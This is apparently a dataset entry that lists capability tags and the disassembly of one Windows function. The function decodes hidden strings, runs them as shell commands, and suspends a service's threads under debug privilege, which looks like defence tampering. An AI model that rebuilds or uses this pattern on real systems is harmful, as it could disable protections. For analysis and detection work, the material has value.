Function at 0x1400dbbc0
Capabilities:
Acquire debug privileges
Encode data using xor
Enumerate threads
Execute command
Query or enumerate registry value
Query service status
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x10]
sub rsp, 0x110
movaps xmmword [rsp + 0x100], xmm6
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rbp - 0x10], rax
movups xmm0, xmmword [str.chagqxjtMKHRIP.50__]
movzx eax, word [0x140176538]
xor ebx, ebx
movups xmm1, xmmword [0x140176528]
mov r12d, dword [reloc.WS2_32.dll_accept]
mov edi, ebx
mov dword [rbp - 0x7c], 4
mov dword [rbp - 0x80], 4
mov word [rsp + 0x60], ax
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm1
cmp r12d, 2
jl 0x1400dbd72
movdqa xmm0, xmmword [0x140178540]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178730]
movdqa xmm6, xmmword [0x1401783c0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edi, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edi, 0x20
jl 0x1400dbc70
cmp edi, 0x22
jge 0x1400dbdae
movsxd rax, edi
lea r8, [rsp + 0x40]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
inc edi
sub al, cl
add al, 0x30
xor byte [r8 - 1], al
cmp edi, 0x22
jl 0x1400dbd80
lea rax, [rsp + 0x38]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400dc294
cmp byte [str.3SWQQ], bl
mov eax, dword [0x14017657c]
mov dword [rsp + 0x30], eax
je 0x1400dbeae
cmp r12d, 2
jl 0x1400dbe75
movdqa xmm3, xmmword [0x140178380]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140178730]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140178730]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1401783c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140178540]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
jmp 0x1400dbeae
lea r8, [rsp + 0x30]
mov edi, ebx
nop dword [rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
inc edi
sub al, cl
add al, 0x30
xor byte [r8 - 1], al
cmp edi, 4
jl 0x1400dbe80
mov rcx, qword [rsp + 0x38]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x7c]
lea rax, [rbp - 0x78]
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400dc289
cmp dword [rbp - 0x78], 1
jne 0x1400dc289
movups xmm0, xmmword [0x1401765a0]
mov edi, ebx
movups xmm1, xmmword [0x1401765b0]
movzx eax, word [0x1401765f8]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x1401765c0]
movups xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [0x1401765e0]
movups xmmword [rbp - 0x30], xmm0
movsd xmm0, qword [0x1401765f0]
movups xmmword [rbp - 0x60], xmm1
movups xmm1, xmmword [0x1401765d0]
mov word [rbp - 0x18], ax
movzx eax, byte [0x1401765fa]
movsd qword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x40], xmm1
mov byte [rbp - 0x16], al
cmp r12d, 2
jl 0x1400dc082
movdqa xmm0, xmmword [0x140178540]
lea rcx, [rbp - 0x6c]
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178730]
movdqa xmm6, xmmword [0x1401783c0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edi, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edi, 0x58
jl 0x1400dbf80
cmp edi, 0x5b
jge 0x1400dc0be
movsxd rax, edi
lea r8, [rbp - 0x70]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
inc edi
sub al, cl
add al, 0x30
xor byte [r8 - 1], al
cmp edi, 0x5b
jl 0x1400dc090
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbp - 0x70]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], bl
jne 0x1400dc0d3
movups xmm0, xmmword [str.CYGGPZAY]
xor eax, eax
lea rdi, [rbp - 0x70]
cmp byte [0x14017657b], bl
rep stosb byte [rdi], al
mov eax, dword [str.4arCda]
movups xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], eax
je 0x1400dc27e
mov edi, ebx
cmp r12d, 2
jl 0x1400dc242
movdqa xmm0, xmmword [0x140178540]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178730]
movdqa xmm6, xmmword [0x1401783c0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edi, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edi, 0x10
jl 0x1400dc140
cmp edi, 0x14
jge 0x1400dc27e
movsxd rax, edi
lea r8, [rsp + 0x40]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
inc edi
sub al, cl
add al, 0x30
xor byte [r8 - 1], al
cmp edi, 0x14
jl 0x1400dc250
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, Ordinal_41
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov r13d, 1
test eax, eax
je 0x1400dc337
mov rdi, qword [rsp + 0x30]
lea r8, [rsp + 0x70]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1400dc32c
mov rax, qword [rsp + 0x70]
lea r9d, [r13 + 0xf]
mov qword [rsp + 0x28], rbx
lea r8, [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x44], rax
mov rcx, rdi
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1400dc32c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [str.3s_A3], bl
mov eax, dword [0x1401765fc]
mov dword [rsp + 0x30], eax
je 0x1400dc40e
cmp r12d, 2
jl 0x1400dc3d1
movdqa xmm3, xmmword [0x140178380]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140178730]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140178730]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1401783c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140178540]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
jmp 0x1400dc40e
lea r8, [rsp + 0x30]
mov edi, ebx
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
inc edi
sub al, cl
add al, 0x30
xor byte [r8 - 1], al
cmp edi, 4
jl 0x1400dc3e0
xor edx, edx
xor ecx, ecx
mov r14d, ebx
lea r8d, [rdx + 4]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
test rax, rax
je 0x1400dcc16
mov r8d, 4
mov qword [rsp + 0x140], rsi
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rsi, rax
test rax, rax
je 0x1400dc480
lea rax, [rsp + 0x30]
mov r9d, Ordinal_41
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
mov rcx, rsi
cmovne r14d, dword [rsp + 0x5c]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test r14d, r14d
je 0x1400dcc0e
xor edx, edx
mov qword [rsp + 0x148], r15
mov edi, ebx
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x1400dcc06
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], Ordinal_32
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1400dc522
nop
cmp dword [rsp + 0x4c], r14d
jne 0x1400dc508
mov r8d, dword [rsp + 0x48]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x1400dc508
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
mov rcx, rsi
cmovne edi, r13d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], Ordinal_32
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1400dc4d0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1400dcc06
cmp byte [0x140176603], bl
mov eax, dword [0x140176600]
mov dword [rsp + 0x30], eax
je 0x1400dc60e
cmp r12d, 2
jl 0x1400dc5cd
movdqa xmm3, xmmword [0x140178380]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140178730]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140178730]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1401783c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140178540]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
jmp 0x1400dc60e
lea r8, [rsp + 0x30]
mov edi, ebx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
inc edi
sub al, cl
add al, 0x30
xor byte [r8 - 1], al
cmp edi, 4
jl 0x1400dc5e0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x140176590]
mov edi, ebx
mov dword [rsp + 0x50], eax
movzx eax, word [0x140176594]
mov word [rsp + 0x54], ax
movzx eax, byte [0x140176596]
mov byte [rsp + 0x56], al
movups xmm0, xmmword [0x140176580]
movups xmmword [rsp + 0x40], xmm0
cmp r12d, 2
jl 0x1400dc792
movdqa xmm0, xmmword [0x140178540]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178730]
movdqa xmm6, xmmword [0x1401783c0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edi, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edi, 0x10
jl 0x1400dc690
cmp edi, 0x17
jge 0x1400dc7ce
movsxd rax, edi
lea r8, [rsp + 0x40]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
inc edi
sub al, cl
add al, 0x30
xor byte [r8 - 1], al
cmp edi, 0x17
jl 0x1400dc7a0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x40]
call fcn.14008a330
lea rdx, [0x14008a500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x140176560]
mov edi, ebx
mov dword [rsp + 0x60], eax
movzx eax, word [0x140176564]
mov word [rsp + 0x64], ax
movzx eax, byte [0x140176566]
mov byte [rsp + 0x66], al
movups xmm0, xmmword [str.s__P_]
movups xmm1, xmmword [0x140176550]
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm1
cmp r12d, 2
jl 0x1400dc972
movdqa xmm0, xmmword [0x140178540]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178730]
movdqa xmm6, xmmword [0x1401783c0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edi, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edi, 0x20
jl 0x1400dc870
cmp edi, 0x27
jge 0x1400dc9ae
movsxd rax, edi
lea r8, [rsp + 0x40]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
inc edi
sub al, cl
add al, 0x30
xor byte [r8 - 1], al
cmp edi, 0x27
jl 0x1400dc980
lea rcx, [rsp + 0x40]
call fcn.1400235d0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor edx, edx
mov edi, ebx
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x1400dcc06
xorps xmm0, xmm0
mov dword [rsp + 0x40], Ordinal_32
xor eax, eax
lea rdx, [rsp + 0x40]
mov rcx, r15
mov qword [rsp + 0x54], rax
movups xmmword [rsp + 0x44], xmm0
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1400dca4b
cmp dword [rsp + 0x4c], r14d
jne 0x1400dca39
mov r8d, dword [rsp + 0x48]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x1400dca39
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
mov rcx, rsi
cmovne edi, r13d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1400dca01
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1400dcc06
mov eax, dword [0x140176510]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x140176514]
mov byte [rsp + 0x54], al
movups xmm0, xmmword [str.e_UQSS]
movups xmmword [rsp + 0x40], xmm0
cmp r12d, 2
jl 0x1400dcbc4
movdqa xmm0, xmmword [0x140178540]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178730]
movdqa xmm6, xmmword [0x1401783c0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ebx, 8
pmuldq xmm1, xmm4
mov eax, ebx
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp ebx, 0x10
jl 0x1400dcac0
cmp eax, 0x15
jge 0x1400dcbfc
movsxd rax, ebx
lea rdi, [rsp + 0x40]
add rdi, rax
nop
mov eax, 0x51eb851f
lea rdi, [rdi + 1]
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, bl
inc ebx
sub al, cl
add al, 0x30
xor byte [rdi - 1], al
cmp ebx, 0x15
jl 0x1400dcbd0
lea rcx, [rsp + 0x40]
call fcn.1400235d0
mov r15, qword [rsp + 0x148]
mov rsi, qword [rsp + 0x140]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1401487e0
mov rbx, qword [rsp + 0x150]
movaps xmm6, xmmword [rsp + 0x100]
add rsp, 0x110
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret